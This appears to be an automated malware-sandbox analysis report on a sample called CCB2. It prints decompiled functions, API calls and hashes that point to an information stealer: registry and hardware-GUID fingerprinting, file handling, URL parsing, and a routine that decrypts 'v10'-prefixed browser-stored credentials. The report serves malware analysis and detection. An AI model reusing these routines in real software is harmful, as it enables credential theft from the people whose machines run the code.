lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 00684C00
InternetCrackUrlA.WININET(?,00000000), ref: 00684C0B

Strings

@, xrefs: 00684BEC
http, xrefs: 00684C1C
<, xrefs: 00684BDF

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction ID: 42cb84400ea65c5b15d3a251ce5ac6a66f693345d9d429512bfaf55306f507be
Opcode Fuzzy Hash: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction Fuzzy Hash: D0F0D6B590120CFBDB14EFE4E885FDD77BDAB44340F008518FA04AB150DF74A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _t90;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *((intOrPtr*)(_v24 + 0x20)) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									 *(_v24 + 0xc) = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0);
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										 *((intOrPtr*)(_v24 + 0x20)) = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20);
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *((intOrPtr*)(_v24 + 0x20)) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00691D80, Relevance: 7.7, APIs: 5, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00691DF4

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction ID: 0252ab1439af5af9aceb81e131018300035ecb6cc575215faadf50b80a10f5ba
Opcode Fuzzy Hash: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction Fuzzy Hash: C361E5B4A0020ADFDF14CF54C544BAAB7F6BB05314F308659E815AB781C774EE86CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

v10, xrefs: 0040724E
@, xrefs: 0040728A

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00687480, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006874D2
LocalAlloc.KERNEL32(00000040,?), ref: 00687521
lstrcat.KERNEL32(?,00000000), ref: 00687587

Strings

v10, xrefs: 0068749E
@, xrefs: 006874DA

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction ID: ce12427966bc17e72f766f3d39d773843b46c7ab13cd628783f9ca02ac8c1d7d
Opcode Fuzzy Hash: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction Fuzzy Hash: E5415B71A04218EBDB14DFD8D844BEDB7B9BF48340F108269F505AB280DB74AA45CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0068B810, Relevance: 7.6, APIs: 5, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000003,00000000,00000000,?), ref: 0068B81E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0068B82D
new[].LIBCMTD ref: 0068B84D
lstrlen.KERNEL32(?,?,?), ref: 0068B86A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0068B879

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction ID: dae4a5d66bbfae138b554424a1b44c985e94b08fd27fec4e4ff64da314b999a5
Opcode Fuzzy Hash: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction Fuzzy Hash: BC0144B5A01208BFDB44DFA8DC46FDE7BB8EF4C300F108158F509DB290D670AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x7f9958
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a1f4; // 0x7fc680
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.ADVAPI32(80000002,007F9958,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.ADVAPI32(?,007FC680,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x7fbcb8
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a4dc; // 0x7fc6b0
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.ADVAPI32(80000002,007FBCB8,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.ADVAPI32(?,007FC6B0,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0x7fbb30
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a5e4; // 0x7fb190
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.ADVAPI32(80000002,007FBB30,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.ADVAPI32(?,007FB190,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0068B490, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0068B4A4
RtlAllocateHeap.NTDLL(00000000), ref: 0068B4AB
RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00685CA8), ref: 0068B4CB
RegQueryValueExA.ADVAPI32(00685CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0068B4EC
RegCloseKey.ADVAPI32(00685CA8), ref: 0068B4F6

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 9d2f106660612a8f2ae37f51e9ef4dba548b0719f0bb864226e5bbcc7ced082d
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 60014FB5A41208BBDB00DFE0ED4AFEEB7B8EB48700F008568FA05A7291D7745A50CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0068B1D0, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0068B1E4
RtlAllocateHeap.NTDLL(00000000), ref: 0068B1EB
RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,00685AF9), ref: 0068B20B
RegQueryValueExA.ADVAPI32(00685AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0068B22C
RegCloseKey.ADVAPI32(00685AF9), ref: 0068B236

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 9f4d4008ecbf75f98e0ba7aa2185f77bf176ea8341f8662cc8cf60fe876f43b7
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: B4014FB5A41208BFEB00DBE0ED49FEEB7B8EB48700F008568FA05A7291D6746A50CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;

				if(GetCurrentHwProfileA( &_v132) == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0068B510, Relevance: 7.5, APIs: 5, Instructions: 30memorystringCOMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0068B51D
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0068B52B
RtlAllocateHeap.NTDLL(00000000), ref: 0068B532
memset.NTDLL ref: 0068B549
lstrcat.KERNEL32(?,?), ref: 0068B55A

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: a20bc9e561964989b0d7ca99d5a62fe0ba60630125aef56462c00cafbd138276
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 87F05E70A01209ABEB20AFA4DE09B9A77B8BB08701F0081A4F705D7290DB359951CF56

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3
v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

